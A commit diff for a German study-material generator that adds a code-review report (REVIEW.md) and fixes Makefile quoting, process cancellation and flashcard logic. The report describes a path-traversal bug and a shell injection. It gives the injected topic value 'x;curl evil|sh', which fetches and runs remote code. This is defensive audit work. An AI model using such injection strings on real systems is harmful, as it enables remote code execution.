update
This commit is contained in:
@@ -23,8 +23,11 @@ E2 Artefakte je Soll-Punkt-Gruppe: Flashcards+Beispiel pro Atom → Verify-Pane
|
|||||||
E3 Struktur Lernziele+Zuordnung aus Atomen (je Soll-Punkt) → Ziel-Check → Kanten auflösen
|
E3 Struktur Lernziele+Zuordnung aus Atomen (je Soll-Punkt) → Ziel-Check → Kanten auflösen
|
||||||
→ Zyklen brechen (Judge) → Bausteine = Ziel-Gruppen im Band (split/merge)
|
→ Zyklen brechen (Judge) → Bausteine = Ziel-Gruppen im Band (split/merge)
|
||||||
→ topologische Ordnung (Bausteine + Atome darin)
|
→ topologische Ordnung (Bausteine + Atome darin)
|
||||||
E4 Guide je Baustein: Writer (Facts inline, Atom-Marker) → det. Checks → Prüfer → Fix
|
E3.5 Diagramme je Baustein: planen (welche+Typ: DAG-deterministisch | Judge) → Spec-JSON
|
||||||
Assembly in Baustein-Ordnung
|
(LLM, kein rohes Mermaid) → deterministisch → Mermaid → Parse-Gate →
|
||||||
|
Grounding-Panel. Optional; Platzierung macht der Guide-Writer per Marker.
|
||||||
|
E4 Guide je Baustein: Writer (Facts inline, Atom-Marker, `<!-- diagramm: id -->`)
|
||||||
|
→ det. Checks → Prüfer → Fix; Assembly tauscht Marker gegen ```mermaid-Fence
|
||||||
```
|
```
|
||||||
|
|
||||||
Jede Ebene endet mit `qa.messen(ebene)`; `auto_loop` fährt QA→Repair bis Note 10,0,
|
Jede Ebene endet mit `qa.messen(ebene)`; `auto_loop` fährt QA→Repair bis Note 10,0,
|
||||||
@@ -43,6 +46,7 @@ Stillstand oder 10 Iterationen. Erst dann startet die nächste Ebene.
|
|||||||
- `artefakte(id, atom_id, typ flashcard|beispiel, inhalt JSON, status kandidat|verifiziert|verworfen)`
|
- `artefakte(id, atom_id, typ flashcard|beispiel, inhalt JSON, status kandidat|verifiziert|verworfen)`
|
||||||
- `lernziele(id, topic, text, soll_id, status)`
|
- `lernziele(id, topic, text, soll_id, status)`
|
||||||
- `bausteine(id, topic, ziel_id, titel, ord, status)`
|
- `bausteine(id, topic, ziel_id, titel, ord, status)`
|
||||||
|
- `diagramme(id, topic, baustein_id, typ, quelle dag|llm, spec JSON, mermaid, status geplant|kandidat|verifiziert|verworfen|kein, befunde JSON)`
|
||||||
- `sections(baustein_id, stage, text_kompakt, text_lang, befunde JSON)`
|
- `sections(baustein_id, stage, text_kompakt, text_lang, befunde JSON)`
|
||||||
- `leitner(artefakt_id, box, faellig, historie)`
|
- `leitner(artefakt_id, box, faellig, historie)`
|
||||||
- `befunde(run_id, ebene, art, item, detail, status offen|repariert|freigesprochen)`
|
- `befunde(run_id, ebene, art, item, detail, status offen|repariert|freigesprochen)`
|
||||||
|
|||||||
@@ -29,8 +29,9 @@ RUN pip install --no-cache-dir torch --index-url https://download.pytorch.org/wh
|
|||||||
&& pip install --no-cache-dir -r /app/backend/requirements.txt
|
&& pip install --no-cache-dir -r /app/backend/requirements.txt
|
||||||
|
|
||||||
COPY --chown=app:app backend/ /app/backend/
|
COPY --chown=app:app backend/ /app/backend/
|
||||||
# katex fürs Parse-Gate (backend/katex_check.mjs prüft Formeln vor dem Speichern)
|
# katex + mermaid (+ jsdom fürs headless-DOM, das Mermaid zum Parsen braucht) fürs
|
||||||
RUN cd /app/backend && npm install --no-audit --no-fund katex && chown -R app:app node_modules
|
# Parse-Gate (backend/{katex,mermaid}_check.mjs prüfen mit dem echten Renderer)
|
||||||
|
RUN cd /app/backend && npm install --no-audit --no-fund katex mermaid jsdom && chown -R app:app node_modules
|
||||||
COPY --chown=app:app templates/ /app/templates/
|
COPY --chown=app:app templates/ /app/templates/
|
||||||
COPY --chown=app:app --from=frontend /build/dist /app/frontend/dist
|
COPY --chown=app:app --from=frontend /build/dist /app/frontend/dist
|
||||||
COPY --chown=app:app dev-ops/opencode.json /home/app/.config/opencode/opencode.json
|
COPY --chown=app:app dev-ops/opencode.json /home/app/.config/opencode/opencode.json
|
||||||
|
|||||||
12
Makefile
12
Makefile
@@ -37,17 +37,17 @@ REMOTE = /var/www/creator2
|
|||||||
|
|
||||||
server-push:
|
server-push:
|
||||||
@[ -n "$(TOPIC)" ] || { echo "Nutzung: make server-push TOPIC=<thema>"; exit 1; }
|
@[ -n "$(TOPIC)" ] || { echo "Nutzung: make server-push TOPIC=<thema>"; exit 1; }
|
||||||
cd backend && python3 transfer.py export "$(TOPIC)" > /tmp/creator2-transfer.json
|
cd backend && python3 transfer.py export '$(TOPIC)' > /tmp/creator2-transfer.json
|
||||||
ssh $(SERVER) 'cd $(REMOTE) && docker compose run --rm --no-deps -T creator2 python3 transfer.py import' < /tmp/creator2-transfer.json
|
ssh $(SERVER) 'cd $(REMOTE) && docker compose run --rm --no-deps -T creator2 python3 transfer.py import' < /tmp/creator2-transfer.json
|
||||||
@# Dateien NACH dem Import — topic_loeschen räumt den Korpus-Ordner der Zielseite
|
@# Dateien NACH dem Import — topic_loeschen räumt den Korpus-Ordner der Zielseite
|
||||||
@[ ! -d storage/korpus/$(TOPIC) ] || rsync -az --delete --mkpath --chown=1000:1000 storage/korpus/$(TOPIC)/ $(SERVER):$(REMOTE)/storage/korpus/$(TOPIC)/
|
@[ ! -d 'storage/korpus/$(TOPIC)' ] || rsync -az --delete --mkpath --chown=1000:1000 'storage/korpus/$(TOPIC)/' '$(SERVER):$(REMOTE)/storage/korpus/$(TOPIC)/'
|
||||||
@[ ! -d topics/$(TOPIC) ] || rsync -az --delete --mkpath --chown=1000:1000 topics/$(TOPIC)/ $(SERVER):$(REMOTE)/topics/$(TOPIC)/
|
@[ ! -d 'topics/$(TOPIC)' ] || rsync -az --delete --mkpath --chown=1000:1000 'topics/$(TOPIC)/' '$(SERVER):$(REMOTE)/topics/$(TOPIC)/'
|
||||||
@echo "Push fertig: $(TOPIC) → Server."
|
@echo "Push fertig: $(TOPIC) → Server."
|
||||||
|
|
||||||
server-pull:
|
server-pull:
|
||||||
@[ -n "$(TOPIC)" ] || { echo "Nutzung: make server-pull TOPIC=<thema>"; exit 1; }
|
@[ -n "$(TOPIC)" ] || { echo "Nutzung: make server-pull TOPIC=<thema>"; exit 1; }
|
||||||
ssh $(SERVER) 'cd $(REMOTE) && docker compose run --rm --no-deps -T creator2 python3 transfer.py export $(TOPIC)' > /tmp/creator2-transfer.json
|
ssh $(SERVER) "cd $(REMOTE) && docker compose run --rm --no-deps -T creator2 python3 transfer.py export '$(TOPIC)'" > /tmp/creator2-transfer.json
|
||||||
cd backend && python3 transfer.py import < /tmp/creator2-transfer.json
|
cd backend && python3 transfer.py import < /tmp/creator2-transfer.json
|
||||||
@ssh $(SERVER) '[ ! -d $(REMOTE)/storage/korpus/$(TOPIC) ]' || rsync -az --delete --mkpath $(SERVER):$(REMOTE)/storage/korpus/$(TOPIC)/ storage/korpus/$(TOPIC)/
|
@ssh $(SERVER) "[ ! -d '$(REMOTE)/storage/korpus/$(TOPIC)' ]" || rsync -az --delete --mkpath "$(SERVER):$(REMOTE)/storage/korpus/$(TOPIC)/" 'storage/korpus/$(TOPIC)/'
|
||||||
@ssh $(SERVER) '[ ! -d $(REMOTE)/topics/$(TOPIC) ]' || rsync -az --delete --mkpath $(SERVER):$(REMOTE)/topics/$(TOPIC)/ topics/$(TOPIC)/
|
@ssh $(SERVER) "[ ! -d '$(REMOTE)/topics/$(TOPIC)' ]" || rsync -az --delete --mkpath "$(SERVER):$(REMOTE)/topics/$(TOPIC)/" 'topics/$(TOPIC)/'
|
||||||
@echo "Pull fertig: $(TOPIC) ← Server."
|
@echo "Pull fertig: $(TOPIC) ← Server."
|
||||||
|
|||||||
146
REVIEW.md
Normal file
146
REVIEW.md
Normal file
@@ -0,0 +1,146 @@
|
|||||||
|
# Review-Befunde 2026-07-12
|
||||||
|
|
||||||
|
Gründliche Prüfung durch 5 parallele Reviews (E0/E1, E2/E3, E4+QA-Loop, Infra, Frontend).
|
||||||
|
Alle Hoch-Funde am Code nachverifiziert. Zeilennummern = Stand Arbeitskopie.
|
||||||
|
|
||||||
|
## Hoch
|
||||||
|
|
||||||
|
1. **pipeline.py:104 / main.py:93 — Pfad-Traversal beim Topic-Namen.**
|
||||||
|
`topic_anlegen` prüft nur „nicht leer“. Name `..` → `DELETE /api/topics/..` läuft in
|
||||||
|
`shutil.rmtree(KORPUS_DIR / topic)` → löscht `storage/` komplett inkl. SQLite-DB.
|
||||||
|
Namen mit `/` schreiben Snapshots außerhalb von `storage/korpus/`.
|
||||||
|
|
||||||
|
2. **main.py:180 + Makefile:43 — Shell-Injektion über Transfer.**
|
||||||
|
`make server-push TOPIC=<name>` interpoliert den Namen unquotiert in Shell-Rezepte
|
||||||
|
(rsync/ssh-Zeilen). Topic `x;curl evil|sh` → Kommando-Ausführung.
|
||||||
|
|
||||||
|
3. **inventar.py:44 — Resume verliert Quell-Abschnitte still.**
|
||||||
|
Pause/Budget-Stopp mitten in der Extraktion: einige Reader haben schon Atome verankert.
|
||||||
|
Beim Resume greift der Idempotenz-Guard (`schon and not force`) und setzt die Quelle
|
||||||
|
auf `atome` — die restlichen Abschnitte werden nie gelesen. QA merkt es nur, wenn ein
|
||||||
|
ganzer Soll-Punkt leer bleibt.
|
||||||
|
|
||||||
|
4. **artefakte.py:49 — `nur_ohne`-Filter blockiert Flashcard-Nachgenerierung.**
|
||||||
|
Filter = „hat irgendein lebendes Artefakt“. Atom mit lebendem Beispiel, aber ohne
|
||||||
|
Flashcard wird nie nachgeneriert → Invariante „≥1 verifizierte Flashcard“ unerfüllbar,
|
||||||
|
`atom_ohne_flashcard` bleibt offen, Loop dreht 10 wirkungslose Iterationen.
|
||||||
|
|
||||||
|
5. **guide.py:295 — Mathe-Checks laufen über Marker-Zeilen.**
|
||||||
|
`_mathe_auftraege(lang, …)` bekommt den ungestrippten Text (nur `_stil_auftraege`
|
||||||
|
strippt Marker). Atom-Titel wie `a_n` oder `A*-Suche` im Marker erzeugen Aufträge,
|
||||||
|
die der Fix nie beheben darf (Marker sind unantastbar) → unfixierbarer `det_check`
|
||||||
|
in jeder QA-Runde, Note bleibt <10, Loop brennt bis Limit.
|
||||||
|
|
||||||
|
6. **qa.py:68 — Befund-Dedup verliert Details.**
|
||||||
|
`_persistieren` dedupliziert über `(art, item)` ohne `detail`. Mehrere `det_check`-
|
||||||
|
Befunde derselben Section kollabieren: alte (schon behobene) Details bleiben „offen“,
|
||||||
|
neue Details werden nie eingefügt → der Fix bekommt veraltete Aufträge, Konvergenz
|
||||||
|
scheitert.
|
||||||
|
|
||||||
|
7. **agents.py:257 — CLI-Prozess-Leak bei Cancellation.**
|
||||||
|
`_spawn` killt nur bei `TimeoutError`. Der Hedge (llm.py:71) cancelt den Verlierer-Task:
|
||||||
|
`CancelledError` trifft `communicate()`, kein Kill, und das `finally` entfernt den
|
||||||
|
Prozess aus `_prozesse` → Zombie-Prozess rechnet weiter, Tokens ohne Ledger-Zeile,
|
||||||
|
für Stop/Pause unerreichbar.
|
||||||
|
|
||||||
|
8. **guide.py:380 — gescheiterte Fixes passieren das Gate.**
|
||||||
|
Nach Fix-Fehlschlag bleiben die Aufträge in `sections.befunde`, aber niemand außer
|
||||||
|
`_stage_fix` liest diese Spalte — entgegen dem Kommentar „die Ebenen-QA muss sie
|
||||||
|
sehen“. Kritische Coverage-Lücken (z. B. „Atom-Inhalt fehlt“) können mit Note 10,0
|
||||||
|
fertig gemeldet werden.
|
||||||
|
|
||||||
|
9. **Guide.vue:54/124 — Level-Toggle-Sackgasse.**
|
||||||
|
`levels` zählt Kapitel-Level unabhängig vom Section-Inhalt; `anzeige` filtert leere
|
||||||
|
Sections weg; bei `anzeige.length === 0` verschwindet die Nav samt Toggle.
|
||||||
|
Mitten in E4 (M-Kapitel ohne Text): Toggle E→M → „Noch kein Guide generiert“,
|
||||||
|
kein Weg zurück außer Reload.
|
||||||
|
|
||||||
|
## Mittel
|
||||||
|
|
||||||
|
### Budget / Ledger / Nebenläufigkeit
|
||||||
|
- **llm.py:63** — Hedge-Zwilling: nur die Tokens des Gewinners landen in `events`/Budget.
|
||||||
|
Verlierer-Tokens (bis 32k) unsichtbar. Verletzt „jeder Call → Ledger-Zeile“.
|
||||||
|
- **llm.py:65** — Timeout des Haupt-Calls bricht die Hedge-Schleife ab und cancelt den
|
||||||
|
fast fertigen Zwilling → Call zählt als infra, obwohl der Hedge geliefert hätte.
|
||||||
|
- **llm.py:120** — Budget wird nur nach Call-Ende geprüft, nie vor Start: parallele
|
||||||
|
Wellen überschreiten das „harte“ Limit um in-flight × Call-Tokens.
|
||||||
|
- **llm.py:155 `panel`, struktur.py:77, guide.py:426/434/579, artefakte.py:144** —
|
||||||
|
bare `asyncio.gather` statt `llm.alle`: bei LaufPause/Budget laufen Geschwister-Tasks
|
||||||
|
weiter, schreiben Zustand und ziehen Tokens (genau der in llm.py dokumentierte Hazard).
|
||||||
|
- **agents.py:161** — API-Pfad prüft nach `_api_slot()` keinen Abbruch: pausierte Läufe
|
||||||
|
feuern wartende API-Calls trotzdem ab.
|
||||||
|
- **agents.py:311** — opencode-Timeout: Tokens wurden erzeugt, aber mit 0 geloggt.
|
||||||
|
|
||||||
|
### Panels / destruktive Entscheide (fail-open statt fail-closed)
|
||||||
|
- **inventar.py:474/499** — `_soll_stichentscheid`/`_luecke_schliessen`: eine einzelne
|
||||||
|
überlebende Panel-Stimme gilt als „einstimmig“ → Atom verworfen / Soll freigesprochen
|
||||||
|
auf Basis EINES Richters (chunk_urteil macht es richtig).
|
||||||
|
- **inventar.py:456** — `_anker_fixen_batch` verwirft Atome auch dann, wenn der
|
||||||
|
zuständige Batch-Call ausfiel (None ≠ negatives Urteil).
|
||||||
|
- **artefakte.py:130** — Re-Verify nach Fix: unparsbare Antwort / ausgelassene id →
|
||||||
|
Artefakt endgültig verworfen (Panel-Ausfall behält, Fix-Ausfall vernichtet).
|
||||||
|
|
||||||
|
### Korpus / Soll
|
||||||
|
- **korpus.py:270 + 406** — `_konsens` löscht bestätigte Zeilen und baut aus Kandidaten
|
||||||
|
neu: nachgesuchte Belege und der `geprueft`-Negativ-Cache gehen verloren → bezahlte
|
||||||
|
Beleg-Judges wiederholen sich.
|
||||||
|
- **korpus.py:368/388** — Judge sieht nur `text[:40k]`, Nicht-Fund wird aber für die
|
||||||
|
GANZE Quelle als `geprueft` verbucht → Belege jenseits 40k dauerhaft unauffindbar,
|
||||||
|
Punkt wird ggf. fälschlich degradiert.
|
||||||
|
- **korpus.py:161** — Soll-Extraktion hat nur Quellen-Granularität: Pause zwischen
|
||||||
|
Chunks → Resume extrahiert alles neu → doppelte Kandidaten blähen das √n-Band auf.
|
||||||
|
- **korpus.py:333/416** — uni-Topics ohne bestätigten Soll-Punkt: kein Repair-Pfad für
|
||||||
|
`soll_leer`, Pipeline setzt trotzdem `korpus_fertig` → E1 verwirft Atome kaskadenartig.
|
||||||
|
|
||||||
|
### Struktur
|
||||||
|
- **struktur.py:251** — Split schneidet `ceil`-Chunks: 43 Atome → Teile 8,8,8,8,8,3;
|
||||||
|
letzter Teil kann Band 4–8 verletzen, Repair reproduziert identisch → Befund ewig offen.
|
||||||
|
- **struktur.py:479** — `band`-Partnerprüfung misst gegen POST-Split-Bausteine, der
|
||||||
|
Merge lief aber PRE-Split → QA fordert eine Latte, die der Schnitt nicht erreichen kann.
|
||||||
|
|
||||||
|
### Guide / QA-Loop
|
||||||
|
- **guide.py:553** — `qa_hash` wird vor der Fachlich-falsch-Prüfung persistiert:
|
||||||
|
scheitert der Verdachts-Call, gilt die Section dauerhaft als geprüft (fail-open).
|
||||||
|
- **guide.py:544** — `offene_falsch` ist run-gescoped, `qa_hash` nicht: nach Pause/Resume
|
||||||
|
verschwinden bestätigte Fakten-Fehler aus der QA.
|
||||||
|
- **guide.py:596** — KRITISCH-Routing wirft das Befund-Detail weg: der bestätigte Claim
|
||||||
|
erreicht weder Prüfer noch Fix → Ping-Pong bis Limit.
|
||||||
|
- **guide.py:607 + auto_loop.py:24** — `bewegt = bool(betroffen)`: Guide-Ebene meldet
|
||||||
|
immer „bewegt“ → Stillstands-Erkennung unerreichbar, Loop läuft immer bis 10.
|
||||||
|
- **guide.py:265/329** — Vorwärtsverweis: Auftrag erlaubt „erklären“, Detektor prüft
|
||||||
|
nur Titel-Präsenz → instruktionskonformer Fix schließt den Befund nie.
|
||||||
|
- **guide.py:190** — Englisch-Heuristik: deutsche Homographen („an“, „will“, „not“),
|
||||||
|
Schwelle 15 % ab 12 Tokens → deutsche Sätze werden als „englische Passage“ geflaggt,
|
||||||
|
Auftrag unerfüllbar.
|
||||||
|
|
||||||
|
### Frontend
|
||||||
|
- **api.js:13** — Topic-Namen ohne `encodeURIComponent` in URL-Pfaden: `#`/`/` im Namen
|
||||||
|
→ Topic per UI unbenutzbar und unlöschbar.
|
||||||
|
- **Guide.vue:19** — `laden()` ohne Out-of-order-Schutz: langsame Antwort von Topic A
|
||||||
|
überschreibt die Anzeige von Topic B.
|
||||||
|
- **Guide.vue:77** — Level-/Ansicht-Wechsel resettet Scrollposition nicht: Viewport
|
||||||
|
landet in Platzhalter-Divs, Seite wirkt leer.
|
||||||
|
- **api.js:51** — WS-Cleanup entfernt `onclose` nicht: Zombie-Reconnect nach 2 s,
|
||||||
|
doppelte State-Loads (v. a. bei Vite-HMR).
|
||||||
|
- **Ueben.vue:19** — Doppelklick auf „Richtig“: Karte doppelt gePOSTet (Leitner-Box
|
||||||
|
springt 2 Stufen), Folgekarte fällt still aus dem Stapel.
|
||||||
|
|
||||||
|
## Niedrig (Auswahl)
|
||||||
|
|
||||||
|
- **pipeline.py:63 u. a.** — `runs.beendet='jetzt'` (Literal-String statt Timestamp).
|
||||||
|
- **ledger.py:58** — Kennzahlen zählen `status='timeout'`, llm schreibt aber `infra` → Spalte konstant 0.
|
||||||
|
- **config.py:13** — `CREATOR_DB` wird vor `_load_env()` gelesen: .env-Wert wirkungslos.
|
||||||
|
- **jsonx.py:14** — nur der ERSTE Code-Fence wird geparst; JSON nach einem Prosa-Fence geht verloren.
|
||||||
|
- **transfer.py:122** — `sections.befunde` (Fix-Aufträge mit Atom-IDs) wird beim Import nicht remapped.
|
||||||
|
- **ws.py:31** — jeder Push spawnt eigenen Send-Task: Out-of-order-Deltas, parallele `send_text`.
|
||||||
|
- **inventar.py:493** — Lücken-„Runden“ zählen Ledger-Events: Retries + Alt-Läufe zählen mit → Abbruch zu früh.
|
||||||
|
- **inventar.py:147** — Anker-Dedup: geerbte Anker im selben Pass nicht berücksichtigt → transitive Dublette überlebt.
|
||||||
|
- **inventar.py:352** — `quelle_unvollstaendig`-Repair meldet immer True → Stillstand nie erkannt.
|
||||||
|
- **guide.py:53** — `_MARKER_VOLL` bricht bei `>` im Atom-Titel.
|
||||||
|
- **guide.py:449** — `_pruefe_dich` matcht Frage per Substring: Umformulierung durch Fix → Antwort fehlt still.
|
||||||
|
- **guide.py:461** — Bausteine ohne Kapitel: NULL-Gruppen erben Level des ersten Bausteins, doppelte `null`-Keys in Vue.
|
||||||
|
- **struktur.py:77 / artefakte.py:144** — s. gather-Sammelpunkt oben.
|
||||||
|
- **markdown.js:57** — `lesestat` ignoriert `\[…\]`-Formeln → Lesezeit falsch.
|
||||||
|
- **style.css:225** — KaTeX-Overflow-Regeln fehlen für die Kompakt-Ansicht (mobil).
|
||||||
|
- **Kennzahlen.vue:8** — Topic-Wechsel ohne Lauf: alte Daten bleiben stehen.
|
||||||
|
- **App.vue:93 / Board.vue:99** — `stoppen()`/Menü-Aktionen ohne try/catch: Fehler unsichtbar.
|
||||||
@@ -159,7 +159,10 @@ async def run_agent(key: str, prompt: str, timeout: int, *, provider: str,
|
|||||||
_active[key] = time.time()
|
_active[key] = time.time()
|
||||||
try:
|
try:
|
||||||
if use_api:
|
if use_api:
|
||||||
await _api_slot(key)
|
await _api_slot(key) # belegt _api_inflight — bei Abbruch freigeben
|
||||||
|
if _ist_abgebrochen(key):
|
||||||
|
_api_inflight -= 1
|
||||||
|
return AgentErgebnis(1, "", "abgebrochen")
|
||||||
wait_s = time.time() - warte_start
|
wait_s = time.time() - warte_start
|
||||||
try:
|
try:
|
||||||
res = await _text_api(key, prompt, timeout, model, role)
|
res = await _text_api(key, prompt, timeout, model, role)
|
||||||
@@ -171,6 +174,8 @@ async def run_agent(key: str, prompt: str, timeout: int, *, provider: str,
|
|||||||
res.model = model
|
res.model = model
|
||||||
return res
|
return res
|
||||||
await _drossel_warten(key)
|
await _drossel_warten(key)
|
||||||
|
if _ist_abgebrochen(key): # Nachzügler nach dem Cooldown nicht mehr feuern
|
||||||
|
return AgentErgebnis(1, "", "abgebrochen")
|
||||||
wait_s = time.time() - warte_start
|
wait_s = time.time() - warte_start
|
||||||
if PROVIDERS[provider]["cli"] == "opencode":
|
if PROVIDERS[provider]["cli"] == "opencode":
|
||||||
res = await _opencode(key, prompt, timeout, model, capabilities)
|
res = await _opencode(key, prompt, timeout, model, capabilities)
|
||||||
@@ -255,11 +260,13 @@ async def _spawn(key: str, cmd: list[str], stdin_data: bytes | None, timeout: in
|
|||||||
try:
|
try:
|
||||||
try:
|
try:
|
||||||
stdout, stderr = await asyncio.wait_for(process.communicate(input=stdin_data), timeout=timeout)
|
stdout, stderr = await asyncio.wait_for(process.communicate(input=stdin_data), timeout=timeout)
|
||||||
except asyncio.TimeoutError:
|
except (asyncio.TimeoutError, asyncio.CancelledError):
|
||||||
|
# Timeout ODER Cancel (Hedge-Verlierer, LaufPause) → Prozess killen,
|
||||||
|
# sonst rechnet ein verwaister CLI-Prozess unsichtbar weiter
|
||||||
_kill(process)
|
_kill(process)
|
||||||
try:
|
try:
|
||||||
await asyncio.wait_for(process.wait(), timeout=5)
|
await asyncio.wait_for(process.wait(), timeout=5)
|
||||||
except asyncio.TimeoutError:
|
except (asyncio.TimeoutError, asyncio.CancelledError):
|
||||||
pass
|
pass
|
||||||
raise
|
raise
|
||||||
log.info("agent %s: exit %s nach %.1fs", key, process.returncode, time.monotonic() - start)
|
log.info("agent %s: exit %s nach %.1fs", key, process.returncode, time.monotonic() - start)
|
||||||
@@ -307,8 +314,15 @@ async def _opencode(key: str, prompt: str, timeout: int, model: str, capabilitie
|
|||||||
"Folge exakt den Anweisungen in der angehängten Datei. Sie sind der vollständige Auftrag.",
|
"Folge exakt den Anweisungen in der angehängten Datei. Sie sind der vollständige Auftrag.",
|
||||||
"-m", model, "--agent", _OPENCODE_AGENTS.get(capabilities, "text"),
|
"-m", model, "--agent", _OPENCODE_AGENTS.get(capabilities, "text"),
|
||||||
"--dangerously-skip-permissions", "--title", key, "-f", str(pfad)]
|
"--dangerously-skip-permissions", "--title", key, "-f", str(pfad)]
|
||||||
|
try:
|
||||||
try:
|
try:
|
||||||
res = await _spawn(key, cmd, None, timeout)
|
res = await _spawn(key, cmd, None, timeout)
|
||||||
|
except asyncio.TimeoutError:
|
||||||
|
# Timeout heißt nicht 0 Tokens — die Session hat oft schon zigtausend
|
||||||
|
# erzeugt. Als infra (err="timeout") mit echten Tokens zurückgeben,
|
||||||
|
# damit Budget/Ledger stimmen. CancelledError NICHT fangen (Hedge).
|
||||||
|
tokens = await asyncio.to_thread(_opencode_tokens, key)
|
||||||
|
return AgentErgebnis(1, "", "timeout", tokens or {})
|
||||||
res.text = _clean_opencode(res.text)
|
res.text = _clean_opencode(res.text)
|
||||||
res.tokens = await asyncio.to_thread(_opencode_tokens, key) or {}
|
res.tokens = await asyncio.to_thread(_opencode_tokens, key) or {}
|
||||||
return res
|
return res
|
||||||
|
|||||||
@@ -44,11 +44,12 @@ def _chunks(topic: str, nur_ohne: bool) -> list[list[dict]]:
|
|||||||
atome = db.query("SELECT * FROM atome WHERE topic=? AND status NOT IN"
|
atome = db.query("SELECT * FROM atome WHERE topic=? AND status NOT IN"
|
||||||
" ('gemerged','verworfen') ORDER BY soll_id, id", (topic,))
|
" ('gemerged','verworfen') ORDER BY soll_id, id", (topic,))
|
||||||
if nur_ohne:
|
if nur_ohne:
|
||||||
# verworfene zählen nicht — sonst kann der Repair nach Verwurf nie
|
# Die echte Invariante ist „≥1 lebende FLASHCARD" (Beispiel zählt nicht).
|
||||||
# nachgenerieren (Lauf 8: 5 Atome blieben dauerhaft ohne Flashcard)
|
# Prüfte man „irgendein lebendes Artefakt", blockierte ein überlebendes
|
||||||
|
# Beispiel die Flashcard-Nachgenerierung dauerhaft (Lauf 8: 5 Atome ohne).
|
||||||
atome = [a for a in atome if not db.one(
|
atome = [a for a in atome if not db.one(
|
||||||
"SELECT id FROM artefakte WHERE atom_id=? AND status!='verworfen'"
|
"SELECT id FROM artefakte WHERE atom_id=? AND typ='flashcard'"
|
||||||
" LIMIT 1", (a["id"],))]
|
" AND status!='verworfen' LIMIT 1", (a["id"],))]
|
||||||
gruppen: dict = {}
|
gruppen: dict = {}
|
||||||
for a in atome:
|
for a in atome:
|
||||||
gruppen.setdefault(a["soll_id"], []).append(a)
|
gruppen.setdefault(a["soll_id"], []).append(a)
|
||||||
@@ -74,6 +75,12 @@ async def _generieren(ctx: llm.Kontext, chunk: list[dict]) -> None:
|
|||||||
if _referenziert_quelle(inhalt):
|
if _referenziert_quelle(inhalt):
|
||||||
log.info("Artefakt zu Atom %s nicht übernommen: referenziert die Quelle", atom_id)
|
log.info("Artefakt zu Atom %s nicht übernommen: referenziert die Quelle", atom_id)
|
||||||
continue
|
continue
|
||||||
|
# Nachgenerierung (nur_ohne) läuft auch, wenn nur die Flashcard fehlt —
|
||||||
|
# dann kein zweites Beispiel anlegen (Verify-Tokens/Leitner-Dubletten).
|
||||||
|
if typ == "beispiel" and db.one(
|
||||||
|
"SELECT id FROM artefakte WHERE atom_id=? AND typ='beispiel'"
|
||||||
|
" AND status!='verworfen' LIMIT 1", (atom_id,)):
|
||||||
|
continue
|
||||||
db.insert("artefakte", atom_id=atom_id, typ=typ, inhalt=db.j(inhalt), status="kandidat")
|
db.insert("artefakte", atom_id=atom_id, typ=typ, inhalt=db.j(inhalt), status="kandidat")
|
||||||
|
|
||||||
|
|
||||||
@@ -133,17 +140,23 @@ async def _fixen(ctx: llm.Kontext, k: dict, maengel: list[str], atom: dict) -> N
|
|||||||
f" {k['typ']}): {db.j(res) if res else k['inhalt']}\n"
|
f" {k['typ']}): {db.j(res) if res else k['inhalt']}\n"
|
||||||
f"Belege:\n{_zitate(k['atom_id'])}"},
|
f"Belege:\n{_zitate(k['atom_id'])}"},
|
||||||
erwartet=list)
|
erwartet=list)
|
||||||
ok = any(isinstance(e, dict) and e.get("artefakt") == k["id"] and e.get("ok")
|
# Verwerfen nur bei EXPLIZITEM Negativurteil. Call-Ausfall (urteil None) oder
|
||||||
for e in urteil or [])
|
# ausgelassene id → kein Entscheid, Kandidat bleibt (messen meldet unentschieden,
|
||||||
db.update("artefakte", "id", k["id"], status="verifiziert" if ok else "verworfen")
|
# nächste Runde prüft per Panel neu) — sonst fail-open destruktiv.
|
||||||
|
eintrag = next((e for e in (urteil or [])
|
||||||
|
if isinstance(e, dict) and e.get("artefakt") == k["id"]), None)
|
||||||
|
if eintrag is None:
|
||||||
|
return
|
||||||
|
db.update("artefakte", "id", k["id"],
|
||||||
|
status="verifiziert" if eintrag.get("ok") else "verworfen")
|
||||||
|
|
||||||
|
|
||||||
async def bauen(ctx: llm.Kontext) -> None:
|
async def bauen(ctx: llm.Kontext) -> None:
|
||||||
ctx.ebene = EBENE
|
ctx.ebene = EBENE
|
||||||
neu = _chunks(ctx.topic, nur_ohne=True)
|
neu = _chunks(ctx.topic, nur_ohne=True)
|
||||||
await asyncio.gather(*(_generieren(ctx, c) for c in neu))
|
await llm.alle(_generieren(ctx, c) for c in neu)
|
||||||
alle = _chunks(ctx.topic, nur_ohne=False)
|
alle = _chunks(ctx.topic, nur_ohne=False)
|
||||||
await asyncio.gather(*(_verifizieren(ctx, c) for c in alle))
|
await llm.alle(_verifizieren(ctx, c) for c in alle)
|
||||||
|
|
||||||
|
|
||||||
def messen(ctx: llm.Kontext) -> list[dict]:
|
def messen(ctx: llm.Kontext) -> list[dict]:
|
||||||
|
|||||||
@@ -10,7 +10,6 @@ STORAGE_DIR = PROJECT_ROOT / "storage"
|
|||||||
TOPICS_DIR = PROJECT_ROOT / "topics" # Uni-Quelldateien: topics/<name>/*.txt|md|pdf
|
TOPICS_DIR = PROJECT_ROOT / "topics" # Uni-Quelldateien: topics/<name>/*.txt|md|pdf
|
||||||
KORPUS_DIR = STORAGE_DIR / "korpus" # Snapshots: korpus/<topic>/q<id>.md
|
KORPUS_DIR = STORAGE_DIR / "korpus" # Snapshots: korpus/<topic>/q<id>.md
|
||||||
FRONTEND_DIST = PROJECT_ROOT / "frontend" / "dist"
|
FRONTEND_DIST = PROJECT_ROOT / "frontend" / "dist"
|
||||||
DB_PATH = STORAGE_DIR / os.getenv("CREATOR_DB", "creator2.db") # Override für Smoke-Läufe
|
|
||||||
|
|
||||||
|
|
||||||
def _load_env(path: Path) -> None:
|
def _load_env(path: Path) -> None:
|
||||||
@@ -32,6 +31,23 @@ def _load_env(path: Path) -> None:
|
|||||||
|
|
||||||
_load_env(PROJECT_ROOT / ".env")
|
_load_env(PROJECT_ROOT / ".env")
|
||||||
|
|
||||||
|
# NACH _load_env lesen — sonst ist ein in .env gesetztes CREATOR_DB wirkungslos
|
||||||
|
# (der Loader-Kommentar verspricht „die Datei gewinnt").
|
||||||
|
DB_PATH = STORAGE_DIR / os.getenv("CREATOR_DB", "creator2.db") # Override für Smoke-Läufe
|
||||||
|
|
||||||
|
# ── Topic-Namen ───────────────────────────────────────────────────────────────
|
||||||
|
import re as _re
|
||||||
|
|
||||||
|
# Erstes Zeichen alphanumerisch (kein führendes „-" = rsync/CLI-Option), danach
|
||||||
